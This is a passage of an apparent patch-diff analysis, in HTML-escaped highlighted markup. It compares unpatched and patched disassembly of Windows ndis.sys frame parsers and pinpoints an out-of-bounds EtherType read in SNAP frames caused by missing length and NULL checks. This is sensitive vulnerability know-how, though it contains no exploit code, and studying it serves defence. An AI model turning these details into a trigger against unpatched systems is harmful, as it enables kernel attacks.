&lt;span class="mh"&gt;0x1c006e447&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+0Fh&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;AAh&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SNAP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SSAP&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006e44d&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+10h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SNAP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Control&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006e453&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+14h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OOB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;
&lt;span class="mh"&gt;0x1c006e459&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;store&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;parsed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EtherType&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched (&lt;code&gt;ndis_patched.sys&lt;/code&gt;, &lt;code&gt;ndisParseReceivedNBL&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0014223&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0014227&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c001422b&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ADDED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MDL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c001422e&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0014237&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0014230&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c00142c3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;16&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ADDED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;require&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;remaining &amp;gt;= 22&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c00142c6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c00142cc&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c00142c8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;small&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c00142cc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Eh&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;AAh&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c00142e0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;14&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="n"&gt;ly&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;remaining &amp;gt;= 22&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here &lt;code&gt;edi&lt;/code&gt; holds the remaining mapped length (&lt;code&gt;ByteCount - CurrentMdlOffset&lt;/code&gt;), so &lt;code&gt;cmp edi, 16h&lt;/code&gt; is the guard that bounds the offset-0x14 read.&lt;/p&gt;
&lt;h3&gt;Finding 3: NBL-sort parser&lt;/h3&gt;
&lt;p&gt;Unpatched sequence in &lt;code&gt;ndis_unpatched.sys&lt;/code&gt; (&lt;code&gt;ndisSortNetBufferLists&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012a24&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NET_BUFFER&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012a2b&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;28&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MDL&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012a2e&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Eh&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;14&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012a3f&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012a41&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;remaining = ByteCount - CurrentMdlOffset&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012a43&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Eh&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;remaining &amp;gt;= 14 (only 14, not 22)&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012c5c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Eh&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;AAh&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SNAP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DSAP&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012c67&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;Fh&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;AAh&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SNAP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SSAP&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012c72&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SNAP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;Cont&lt;/span&gt;&lt;span class="n"&gt;rol&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012c7d&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;14&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OOB&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;at&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x14&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Patched (&lt;code&gt;ndis_patched.sys&lt;/code&gt;, &lt;code&gt;ndisSortNetBufferLists&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012bc8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentMdl&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012bcc&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ADDED&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MDL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012bcf&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012e0f&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reject&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012bd5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;28&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ByteCount&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012bf0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;
&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x1c0012bf3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;remaining = ByteCount - CurrentMdlOffset&lt;/span&gt;
&lt;span class="mf"&gt;...&lt;/span&gt;
